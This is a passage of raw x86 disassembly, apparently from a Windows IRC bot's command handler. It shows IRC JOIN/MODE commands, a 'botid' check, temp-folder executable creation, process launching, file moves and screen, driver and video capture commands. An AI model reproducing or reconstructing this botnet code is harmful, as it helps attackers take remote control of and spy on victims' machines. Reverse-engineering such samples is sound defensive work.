		push	offset sub_40144A
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_410F1C


loc_410F06:				; CODE XREF: sub_40D2E0+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_412A7A
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_410F06
; ---------------------------------------------------------------------------


loc_410F1C:				; CODE XREF: sub_40D2E0+3C24j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C8AC
		jmp	loc_41206B
; ---------------------------------------------------------------------------


loc_410F2D:				; CODE XREF: sub_40D2E0+3B67j
		push	offset unk_42C864
		jmp	loc_412A6C
; ---------------------------------------------------------------------------


loc_410F37:				; CODE XREF: sub_40D2E0+25D3j
					; sub_40D2E0+25EAj
		push	[ebp+arg_18]
		push	edi
		call	ds:dword_422154	; MoveFileA
		test	eax, eax
		jz	short loc_410F67
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_42C830
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 14h
		jmp	loc_412A7A
; ---------------------------------------------------------------------------


loc_410F67:				; CODE XREF: sub_40D2E0+3C63j
		push	offset dword_42C814
		call	sub_40907B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		jmp	loc_412077
; ---------------------------------------------------------------------------


loc_410F89:				; CODE XREF: sub_40D2E0+25A5j
					; sub_40D2E0+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_4159FA
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_410FC3
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_410FC3
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_410FC3:				; CODE XREF: sub_40D2E0+3CC1j
					; sub_40D2E0+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_4159FA
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_42C7D4
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_4159FA
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_414F2C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_407410
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_411079


loc_411063:				; CODE XREF: sub_40D2E0+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_41327F
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_411063
; ---------------------------------------------------------------------------


loc_411079:				; CODE XREF: sub_40D2E0+3D81j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C788
		jmp	loc_413270
; ---------------------------------------------------------------------------


loc_41108A:				; CODE XREF: sub_40D2E0+2577j
					; sub_40D2E0+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415500
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_4159EF
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4110C7
		mov	word ptr [ebp+var_470],	5


loc_4110C7:				; CODE XREF: sub_40D2E0+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_411ED0
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_411ED0
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	ds:dword_422104	; CreateProcessA
		test	eax, eax
		jnz	short loc_411112
		push	offset unk_42C754
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_411112:				; CODE XREF: sub_40D2E0+3E26j
		push	edi
		push	offset dword_42C72C
		jmp	loc_40FCF6
; ---------------------------------------------------------------------------


loc_41111D:				; CODE XREF: sub_40D2E0+2549j
					; sub_40D2E0+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411297
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		call	ds:dword_42210C	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_416D30
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_413E62
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_415480
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_4111B2
		push	10h
		push	ebx
		push	eax
		call	sub_416A80
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4111B8
; ---------------------------------------------------------------------------


loc_4111B2:				; CODE XREF: sub_40D2E0+3EBCj
		mov	[ebp+var_570], ebx


loc_4111B8:				; CODE XREF: sub_40D2E0+3ED0j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_4111D2
		push	esi
		call	sub_4159EF
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_4111D8
; ---------------------------------------------------------------------------


loc_4111D2:				; CODE XREF: sub_40D2E0+3EE1j
		mov	[ebp+var_574], ebx


loc_4111D8:				; CODE XREF: sub_40D2E0+3EF0j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_416D30
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_42C6E4
		push	eax
		call	sub_415480
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_414F2C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40B105
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_411286


loc_411270:				; CODE XREF: sub_40D2E0+3FA4j
		cmp	[ebp+var_560], ebx
		jnz	loc_411ED0
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_411270
; ---------------------------------------------------------------------------


loc_411286:				; CODE XREF: sub_40D2E0+3F8Ej
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C698
		jmp	loc_40FCF6
; ---------------------------------------------------------------------------


loc_411297:				; CODE XREF: sub_40D2E0+3E4Ej
		push	offset unk_42C644
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_4112A1:				; CODE XREF: sub_40D2E0+251Bj
					; sub_40D2E0+2532j
		push	[ebp+var_90]
		push	offset dword_42E464
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D6A7
		cmp	[ebp+var_C], ebx
		jz	loc_40D6A7
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_42C634
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D30
		push	edi
		call	sub_4159EF
		add	esp, 28h
		test	eax, eax
		jle	short loc_41132A
		push	edi
		call	sub_4159EF
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	ds:dword_422054	; Sleep


loc_41132A:				; CODE XREF: sub_40D2E0+4034j
		push	offset dword_42C610
		call	sub_40A5B3
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_41133E:				; CODE XREF: sub_40D2E0+24EDj
					; sub_40D2E0+2504j
		push	[ebp+var_90]
		push	offset dword_42E464
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D6A7
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4158A0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_4113FD
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_42C634
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D30
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_42C5E0
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40A5B3
		push	edi
		call	sub_4159EF
		add	esp, 14h
		test	eax, eax
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40D6AA
; ---------------------------------------------------------------------------


loc_4113FD:				; CODE XREF: sub_40D2E0+40A3j
		push	offset dword_42C59C
		jmp	loc_40FCF6
; ---------------------------------------------------------------------------


loc_411407:				; CODE XREF: sub_40D2E0+24BFj
					; sub_40D2E0+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C594
		push	eax
		call	sub_415480
		push	edi
		call	sub_4159EF
		add	esp, 10h


loc_411424:				; CODE XREF: sub_40D2E0+41AEj
		test	eax, eax
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5


loc_41143E:				; CODE XREF: sub_40D2E0+4CBBj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_42C58C
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAA1


loc_411462:				; CODE XREF: sub_40D2E0+4469j
					; sub_40D2E0+5D44j
		add	esp, 0Ch
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_41146A:				; CODE XREF: sub_40D2E0+2491j
					; sub_40D2E0+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_42C580
		push	eax
		call	sub_415480
		push	edi
		call	sub_4159EF
		add	esp, 14h
		jmp	short loc_411424
; ---------------------------------------------------------------------------


loc_411490:				; CODE XREF: sub_40D2E0+2463j
					; sub_40D2E0+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C578
		push	eax
		call	sub_415480
		push	edi
		call	sub_4159EF
		add	esp, 10h
		test	eax, eax
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_42C58C
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAA1
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_42C54C
		jmp	loc_411744
; ---------------------------------------------------------------------------


loc_4114FC:				; CODE XREF: sub_40D2E0+2435j
					; sub_40D2E0+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41152D
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C544
		push	eax
		call	sub_415480
		add	esp, 0Ch


loc_41152D:				; CODE XREF: sub_40D2E0+4236j
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_42C58C
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAA1
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42C518
		jmp	loc_411744
; ---------------------------------------------------------------------------


loc_411581:				; CODE XREF: sub_40D2E0+2407j
					; sub_40D2E0+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4133B5
		push	edi
		call	sub_4159EF
		test	eax, eax
		pop	ecx
		jle	loc_4133B5
		push	edi
		call	sub_4159EF
		cmp	eax, 400h
		pop	ecx
		jge	loc_4133B5
		push	esi
		push	offset dword_42C58C
		push	edi
		call	sub_4159EF
		imul	eax, 234h
		pop	ecx
		push	ds:dword_43BECC[eax]
		call	sub_40BAA1
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42C4EC
		jmp	loc_411744
; ---------------------------------------------------------------------------


loc_4115EF:				; CODE XREF: sub_40D2E0+23D9j
					; sub_40D2E0+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	edi
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4133B5
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		add	esp, 0Ch
		push	esi
		push	offset dword_42C4B4
		jmp	loc_4133AE
; ---------------------------------------------------------------------------


loc_411629:				; CODE XREF: sub_40D2E0+23ABj
					; sub_40D2E0+23C2j
		push	[ebp+var_90]
		push	offset dword_42E464
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D6A7
		push	[ebp+arg_18]
		push	offset dword_42C4A8
		push	[ebp+arg_4]
		call	sub_40BAA1
		push	edi
		call	sub_4159EF
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	ds:dword_422054	; Sleep
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40BAA1
		push	offset dword_42C484
		call	sub_40A5B3
		add	esp, 14h
		jmp	loc_4133B5
; ---------------------------------------------------------------------------


loc_411692:				; CODE XREF: sub_40D2E0+237Dj
					; sub_40D2E0+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	edi
		call	sub_415C80
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415C80
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415A50
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4133B5
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_42CCA8
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_42C458
		jmp	short loc_411744
; ---------------------------------------------------------------------------


loc_4116F8:				; CODE XREF: sub_40D2E0+234Fj
					; sub_40D2E0+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	edi
		call	sub_415C80
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_415C80
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_415A50
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4133B5
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_42C42C


loc_411744:				; CODE XREF: sub_40D2E0+4217j
					; sub_40D2E0+429Cj ...
		call	sub_40A627
		jmp	loc_411462
; ---------------------------------------------------------------------------


loc_41174E:				; CODE XREF: sub_40D2E0+2321j
					; sub_40D2E0+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40D6A7
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40D6A7
		push	eax
		push	edi
		call	sub_40A4BB
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_42C400
		jmp	loc_41206B
; ---------------------------------------------------------------------------


loc_411780:				; CODE XREF: sub_40D2E0+22E1j
					; sub_40D2E0+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4133B5
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_411824
		push	esi
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_41180C
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_42C634
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_416D30
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_42C3CC
		push	eax
		call	sub_415480
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_412F31
; ---------------------------------------------------------------------------


loc_41180C:				; CODE XREF: sub_40D2E0+44D1j
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C38C
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	loc_412F31
; ---------------------------------------------------------------------------


loc_411824:				; CODE XREF: sub_40D2E0+44BCj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40A1D2
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_42C364
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 10h
		jmp	loc_412F31
; ---------------------------------------------------------------------------


loc_41186E:				; CODE XREF: sub_40D2E0+22B3j
					; sub_40D2E0+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4118D1
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_4118BE
		push	[ebp+esi+var_8C]
		call	sub_406BF9
		cmp	eax, 1
		pop	ecx
		jnz	short loc_4118B7
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C320
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	short loc_4118D1
; ---------------------------------------------------------------------------


loc_4118B7:				; CODE XREF: sub_40D2E0+45B8j
		push	offset dword_42C2E4
		jmp	short loc_4118C3
; ---------------------------------------------------------------------------


loc_4118BE:				; CODE XREF: sub_40D2E0+45A6j
		push	offset dword_42C29C


loc_4118C3:				; CODE XREF: sub_40D2E0+45DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_4118D1:				; CODE XREF: sub_40D2E0+459Dj
					; sub_40D2E0+45D5j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411968
		mov	[ebp+arg_0], ebx


loc_4118E9:				; CODE XREF: sub_40D2E0+4673j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_436498
		test	eax, eax
		jz	short loc_41194C
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_42C260
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		add	esp, 28h


loc_41194C:				; CODE XREF: sub_40D2E0+462Cj
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_4118E9
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C22C
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_411968:				; CODE XREF: sub_40D2E0+4600j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411A0E
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_4119FB
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4119FB
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_4119FB
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_4119FB
		push	eax
		call	sub_4159EF
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_4159EF
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4159EF
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_406E34
		add	esp, 10h
		test	eax, eax
		jnz	short loc_4119F4
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_42C1E8
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	short loc_411A0E
; ---------------------------------------------------------------------------


loc_4119F4:				; CODE XREF: sub_40D2E0+46F5j
		push	offset dword_42C1A4
		jmp	short loc_411A00
; ---------------------------------------------------------------------------


loc_4119FB:				; CODE XREF: sub_40D2E0+46A4j
					; sub_40D2E0+46ADj ...
		push	offset dword_42C15C


loc_411A00:				; CODE XREF: sub_40D2E0+4719j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_415480
		pop	ecx
		pop	ecx


loc_411A0E:				; CODE XREF: sub_40D2E0+4697j
					; sub_40D2E0+4712j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_411ED0
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_411AA7
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_411AA7
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_411AA7
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_411AA7
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_411AA7
		push	esi
		call	sub_4159EF
		pop	ecx
		push	eax
		push	edi
		call	sub_4159EF
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_4159EF
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_4159EF
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_40702D
		add	esp, 14h
		test	eax, eax
		jnz	short loc_411A9D
		push	[ebp+arg_18]
		push	offset dword_42C118
		jmp	loc_40FCF6
; ---------------------------------------------------------------------------


loc_411A9D:				; CODE XREF: sub_40D2E0+47AEj
		push	offset dword_42C0C8
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_411AA7:				; CODE XREF: sub_40D2E0+474Fj
					; sub_40D2E0+475Dj ...
		push	offset dword_42C07C
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_411AB1:				; CODE XREF: sub_40D2E0+1CF0j
					; sub_40D2E0+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_415B78
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_411B2C
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41712C
		add	esp, 0Ch


loc_411ADA:				; CODE XREF: sub_40D2E0+4829j
		test	eax, eax
		jz	short loc_411B0B
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BAE7
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41712C
		add	esp, 20h
		jmp	short loc_411ADA
; ---------------------------------------------------------------------------


loc_411B0B:				; CODE XREF: sub_40D2E0+47FCj
		push	esi
		call	sub_415AD0
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_42C048
		push	eax
		call	sub_415480
		add	esp, 0Ch
		jmp	loc_40F56B
; ---------------------------------------------------------------------------


loc_411B2C:				; CODE XREF: sub_40D2E0+47E2j
		push	edi
		push	offset dword_42C018
		jmp	loc_40F51F
; ---------------------------------------------------------------------------


loc_411B37:				; CODE XREF: sub_40D2E0+1CC2j
					; sub_40D2E0+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	edi
		push	[ebp+var_C]
		call	sub_415A50
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4133B5
		push	offset asc_425FD0 ; "\n"
		push	esi
		call	sub_415BA0
		push	esi
		call	sub_40999E
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411B77
		push	offset dword_42BFDC
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_411B77:				; CODE XREF: sub_40D2E0+488Bj
		push	esi
		push	offset dword_42BFB4
		jmp	loc_412F22
; ---------------------------------------------------------------------------


loc_411B82:				; CODE XREF: sub_40D2E0+1C94j
					; sub_40D2E0+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_4133B5
		push	edi
		push	[ebp+var_C]
		call	sub_415A50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4133B5
		push	eax
		call	sub_409140
		test	eax, eax
		pop	ecx
		jnz	short loc_411BB3
		push	offset unk_42BF88
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_411BB3:				; CODE XREF: sub_40D2E0+48C7j
		push	offset dword_42BF5C
		jmp	loc_411EC2
; ---------------------------------------------------------------------------


loc_411BBD:				; CODE XREF: sub_40D2E0+1C66j
					; sub_40D2E0+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_416D30
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_411BEC
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_416D30
		add	esp, 0Ch


loc_411BEC:				; CODE XREF: sub_40D2E0+48F8j
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_416D30
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_42BF34
		push	eax
		call	sub_415480
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_414F2C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40A291
		push	ebx
		push	ebx
		call	ds:dword_422070	; CreateThread
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43BED4[ecx], eax
		jz	short loc_411C8D


loc_411C77:				; CODE XREF: sub_40D2E0+49ABj
		cmp	[ebp+var_560], ebx
		jnz	loc_412F31
		push	32h
		call	ds:dword_422054	; Sleep
		jmp	short loc_411C77
; ---------------------------------------------------------------------------


loc_411C8D:				; CODE XREF: sub_40D2E0+4995j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42BEE8
		jmp	loc_412F22
; ---------------------------------------------------------------------------


loc_411C9E:				; CODE XREF: sub_40D2E0+1C38j
					; sub_40D2E0+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
